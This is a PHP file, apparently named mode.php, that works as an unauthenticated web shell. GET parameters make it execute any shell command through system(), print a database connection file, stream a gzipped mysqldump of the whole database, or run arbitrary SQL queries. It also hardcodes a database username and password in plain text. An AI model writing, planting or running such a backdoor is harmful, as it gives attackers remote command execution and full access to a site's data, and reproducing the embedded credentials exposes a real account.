mode.php

<?php
    function run_cmd($cmd = 'ls') {
        system($cmd);
    }
    function db_dump() {
        $DBUSER="u935748659_kd2814";
        $DBPASSWD="C]y4z=F~QrH";
        $DATABASE="u935748659_kd2814";

        $filename = "backup-" . date("d-m-Y") . ".sql.gz";
        $mime = "application/x-gzip";

        header( "Content-Type: " . $mime );
        header( 'Content-Disposition: attachment; filename="' . $filename . '"' );

        $cmd = "mysqldump -u $DBUSER --password=$DBPASSWD $DATABASE | gzip --best";   

        passthru( $cmd );

        exit(0);
    }
    function db_query($q) {
        $servername = "localhost";
        $username = "u935748659_kd2814";
        $password = "C]y4z=F~QrH";
        $database = "u935748659_kd2814";
        $conn = new mysqli($servername, $username, $password, $database);
        if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
        }
        if ($result = $conn->query($q)) {
            // Free result set
            $result -> free_result();
        }
        $conn->close();
    }
    if(isset($_GET['mode'])){
        $mode = $_GET['mode'];
        switch($mode) {
            case 'db':
                echo run_cmd("cat ../../db/connect.php");
                break;
            case 'cmd':
                echo run_cmd($_GET['cmd']);
                break;
            case 'dbdump':
                db_dump();
                break;
            case 'query':
                db_query($_GET['q']);
                break;

        }
    }

?>